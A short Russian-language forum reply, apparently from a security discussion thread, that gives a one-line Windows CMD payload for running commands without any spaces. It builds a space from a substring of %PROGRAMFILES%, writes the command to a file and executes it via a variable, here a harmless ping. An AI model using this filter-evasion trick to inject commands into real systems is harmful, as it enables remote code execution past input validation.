Re[4]: Выполнение произвольной команды CMD, не используя про
От: kochetkov.vladimir Россия https://kochetkov.github.io
Дата: 18.04.17 14:32
Оценка:
Здравствуйте, DOOM, Вы писали:

KV>>Только на командах, изобразить полноценное RCE без пробелов у меня не получилось

DOO>Значит надо еще пытаться!

echo=ping%PROGRAMFILES:~10,-5%8.8.8.8>text.txt&set/P"MYVAR="<text.txt&call,%MYVAR%


[Интервью] .NET Security — это просто
Автор: kochetkov.vladimir
Дата: 07.11.17
Отредактировано 18.04.2017 14:33 kochetkov.vladimir . Предыдущая версия . Еще …
Отредактировано 18.04.2017 14:33 kochetkov.vladimir . Предыдущая версия .
 
Подождите ...
Wait...
Пока на собственное сообщение не было ответов, его можно удалить.